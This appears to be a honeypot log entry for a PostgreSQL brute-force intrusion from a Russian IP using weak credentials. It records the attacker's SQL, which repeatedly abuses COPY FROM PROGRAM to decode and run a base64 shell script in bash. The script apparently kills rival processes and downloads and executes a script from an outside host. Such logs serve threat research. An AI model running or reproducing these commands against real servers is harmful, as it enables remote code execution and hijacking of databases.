Details

ID	29301b53-96d2-49e9-9efe-8c966b2311c7
Attack Type	postgres
IP Address	78.153.140.37
Username	postgres
Password	11111111
Client Version
Country	Russia
Date	2024-07-03 10:17AM

Commands

revoke pg_execute_server_program from postgres;
revoke pg_execute_server_program from postgres;
revoke pg_execute_server_program from postgres;
revoke pg_execute_server_program from postgres;
select * from pg_catalog.pg_user where usename='pgg_superadmins';
drop table if exists czdxvxcq;create table czdxvxcq(cmd_output text);copy czdxvxcq from program 'echo iyevymlul2jhc2gkcgtpbgwglwygenn2ywpwa2lsbcatzibwzgvmzw5kzxjkcnbrawxsic1mihvwzgf0zwnozwnrzxjkcgpmdw5jdglvbibfx2n1cmwoksb7ciagcmvhzcbwcm90bybzzxj2zxigcgf0aca8pdwkkgvjag8gjhsxly8vlyb9kqogierpqz0vjhtwyxroly8gly99ciagse9tvd0ke3nlcnzlci8voip9ciague9svd0ke3nlcnzlci8vkjp9ciagw1sgecike0hpu1r9iia9psb4iir7ue9svh0iif1dicymifbpulq9odakciagzxhlyyazpd4vzgv2l3rjcc8ke0hpu1r9lyrqt1juciagzwnobyatzw4gikdfvcake0rpq30gsfruuc8xljbcclxusg9zddogjhtit1nufvxyxg5cclxuiia+jjmkicaod2hpbgugcmvhzcbsaw5loybkbwogicbbwyaijgxpbmuiid09icqnxhinif1dicymigjyzwfrciagzg9uzsamjibjyxqpidwmmwogigv4zwmgmz4mlqp9cgppzibbic14icikkgnvbw1hbmqglxygy3vybckiif07ihrozw4kicbjdxjsidc4lje1my4xndauotyvcgcuc2h8ymfzaaplbglmifsglxggiiqoy29tbwfuzcatdib3z2v0ksigxtsgdghlbgogihdnzxqglxeglu8tidc4lje1my4xndauotyvcgcuc2h8ymfzaaplbhnlciagx19jdxjsigh0dha6ly83oc4xntmumtqwljk2l3bnmi5zahxiyxnocmzp|base64 -d|bash';select * from czdxvxcq;drop table if exists czdxvxcq;
select * from pg_catalog.pg_user where usename='pgg_superadmins';
drop table if exists cygrawrc;create table cygrawrc(cmd_output text);copy cygrawrc from program 'echo iyevymlul2jhc2gkcgtpbgwglwygenn2ywpwa2lsbcatzibwzgvmzw5kzxjkcnbrawxsic1mihvwzgf0zwnozwnrzxjkcgpmdw5jdglvbibfx2n1cmwoksb7ciagcmvhzcbwcm90bybzzxj2zxigcgf0aca8pdwkkgvjag8gjhsxly8vlyb9kqogierpqz0vjhtwyxroly8gly99ciagse9tvd0ke3nlcnzlci8voip9ciague9svd0ke3nlcnzlci8vkjp9ciagw1sgecike0hpu1r9iia9psb4iir7ue9svh0iif1dicymifbpulq9odakciagzxhlyyazpd4vzgv2l3rjcc8ke0hpu1r9lyrqt1juciagzwnobyatzw4gikdfvcake0rpq30gsfruuc8xljbcclxusg9zddogjhtit1nufvxyxg5cclxuiia+jjmkicaod2hpbgugcmvhzcbsaw5loybkbwogicbbwyaijgxpbmuiid09icqnxhinif1dicymigjyzwfrciagzg9uzsamjibjyxqpidwmmwogigv4zwmgmz4mlqp9cgppzibbic14icikkgnvbw1hbmqglxygy3vybckiif07ihrozw4kicbjdxjsidc4lje1my4xndauotyvcgcuc2h8ymfzaaplbglmifsglxggiiqoy29tbwfuzcatdib3z2v0ksigxtsgdghlbgogihdnzxqglxeglu8tidc4lje1my4xndauotyvcgcuc2h8ymfzaaplbhnlciagx19jdxjsigh0dha6ly83oc4xntmumtqwljk2l3bnmi5zahxiyxnocmzp|base64 -d|bash';select * from cygrawrc;drop table if exists cygrawrc;
select * from pg_catalog.pg_user where usename='pgg_superadmins';
select * from pg_catalog.pg_user where usename='pgg_superadmins';
drop table if exists lireaxny;create table lireaxny(cmd_output text);copy lireaxny from program 'echo iyevymlul2jhc2gkcgtpbgwglwygenn2ywpwa2lsbcatzibwzgvmzw5kzxjkcnbrawxsic1mihvwzgf0zwnozwnrzxjkcgpmdw5jdglvbibfx2n1cmwoksb7ciagcmvhzcbwcm90bybzzxj2zxigcgf0aca8pdwkkgvjag8gjhsxly8vlyb9kqogierpqz0vjhtwyxroly8gly99ciagse9tvd0ke3nlcnzlci8voip9ciague9svd0ke3nlcnzlci8vkjp9ciagw1sgecike0hpu1r9iia9psb4iir7ue9svh0iif1dicymifbpulq9odakciagzxhlyyazpd4vzgv2l3rjcc8ke0hpu1r9lyrqt1juciagzwnobyatzw4gikdfvcake0rpq30gsfruuc8xljbcclxusg9zddogjhtit1nufvxyxg5cclxuiia+jjmkicaod2hpbgugcmvhzcbsaw5loybkbwogicbbwyaijgxpbmuiid09icqnxhinif1dicymigjyzwfrciagzg9uzsamjibjyxqpidwmmwogigv4zwmgmz4mlqp9cgppzibbic14icikkgnvbw1hbmqglxygy3vybckiif07ihrozw4kicbjdxjsidc4lje1my4xndauotyvcgcuc2h8ymfzaaplbglmifsglxggiiqoy29tbwfuzcatdib3z2v0ksigxtsgdghlbgogihdnzxqglxeglu8tidc4lje1my4xndauotyvcgcuc2h8ymfzaaplbhnlciagx19jdxjsigh0dha6ly83oc4xntmumtqwljk2l3bnmi5zahxiyxnocmzp|base64 -d|bash';select * from lireaxny;drop table if exists lireaxny;
drop table if exists fchttypo;create table fchttypo(cmd_output text);copy fchttypo from program 'echo iyevymlul2jhc2gkcgtpbgwglwygenn2ywpwa2lsbcatzibwzgvmzw5kzxjkcnbrawxsic1mihvwzgf0zwnozwnrzxjkcgpmdw5jdglvbibfx2n1cmwoksb7ciagcmvhzcbwcm90bybzzxj2zxigcgf0aca8pdwkkgvjag8gjhsxly8vlyb9kqogierpqz0vjhtwyxroly8gly99ciagse9tvd0ke3nlcnzlci8voip9ciague9svd0ke3nlcnzlci8vkjp9ciagw1sgecike0hpu1r9iia9psb4iir7ue9svh0iif1dicymifbpulq9odakciagzxhlyyazpd4vzgv2l3rjcc8ke0hpu1r9lyrqt1juciagzwnobyatzw4gikdfvcake0rpq30gsfruuc8xljbcclxusg9zddogjhtit1nufvxyxg5cclxuiia+jjmkicaod2hpbgugcmvhzcbsaw5loybkbwogicbbwyaijgxpbmuiid09icqnxhinif1dicymigjyzwfrciagzg9uzsamjibjyxqpidwmmwogigv4zwmgmz4mlqp9cgppzibbic14icikkgnvbw1hbmqglxygy3vybckiif07ihrozw4kicbjdxjsidc4lje1my4xndauotyvcgcuc2h8ymfzaaplbglmifsglxggiiqoy29tbwfuzcatdib3z2v0ksigxtsgdghlbgogihdnzxqglxeglu8tidc4lje1my4xndauotyvcgcuc2h8ymfzaaplbhnlciagx19jdxjsigh0dha6ly83oc4xntmumtqwljk2l3bnmi5zahxiyxnocmzp|base64 -d|bash';select * from fchttypo;drop table if exists fchttypo;

Proxy Requests

	IP Address	User / Pass	Date	Headers	URL